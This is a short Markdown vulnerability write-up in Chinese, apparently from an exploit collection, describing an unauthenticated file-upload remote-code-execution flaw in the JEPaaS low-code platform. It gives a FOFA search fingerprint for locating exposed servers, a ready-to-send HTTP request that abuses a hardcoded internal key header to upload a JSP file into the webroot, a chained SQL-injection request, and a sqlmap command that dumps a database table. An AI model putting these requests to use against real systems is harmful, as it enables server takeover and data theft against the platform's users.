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59 lines
2.5 KiB
Markdown
59 lines
2.5 KiB
Markdown
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## JEPaaS低代码平台document存在文件上传致RCE漏洞
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JEPaaS低代码开发平台开源版 旨在帮助企业快速实现信息化和数字化转型。该平台基于可视化开发环境，让软件开发人员和业务用户通过直观的可视化界面来构建应用程序 ，而不是传统的编写代码方式。用户可以在开发平台灵活各个图形化控件，以构建业务流程、逻辑和数据模型等所需的功能，必要时还可以添加自己的代码。该平台基于可视化开发环境，通过低代码拖拽式配置开发，大幅简化开发流程，提高开发效率。以其强大的功能和灵活性，适用于各种企业信息化管理系统的搭建，包括OA、ERP、CRM、HR等，并支持集团公司部署。JEPaaS低代码平台document/file存在文件上传漏洞，未经身份验证的远程攻击者可利用内部默认的key参数绕过权限认证上传任意文件，获取服务器权限。
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## fofa
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```
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icon_hash="-999810473"
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```
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## poc
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```
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POST /je/document/file?bucket=webroot HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
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Accept: application/json, text/javascript, */*; q=0.01
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
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internalRequestKey: schedule_898901212
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Content-Type: multipart/form-data; boundary=----21909179191068471382830692394
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Connection: close
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------21909179191068471382830692394
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Content-Disposition: form-data; name="files"; filename="2214.jsp"
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Content-Type: image/jpeg
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123
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------21909179191068471382830692394--
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```
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需要搭配sql注入跑出文件路径
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### sql
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```
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POST /rbac/im/accessToTeanantInfo HTTP/1.1
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Host: xxxxx
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Accept-Language: zh-CN,zh;q=0.9
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internalRequestKey: schedule_898901212
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Upgrade-Insecure-Requests: 1
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Encoding: gzip, deflate
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Cookie: je-local-lang=zh_CN; JSESSIONID=155BD0DA95609068A00408ACF1326C63
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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tenantId=1
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```
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```
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sqlmap -r 2.txt --level 3 -D "jepaas" -T "je_document_file" --dump --fresh-queries
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```
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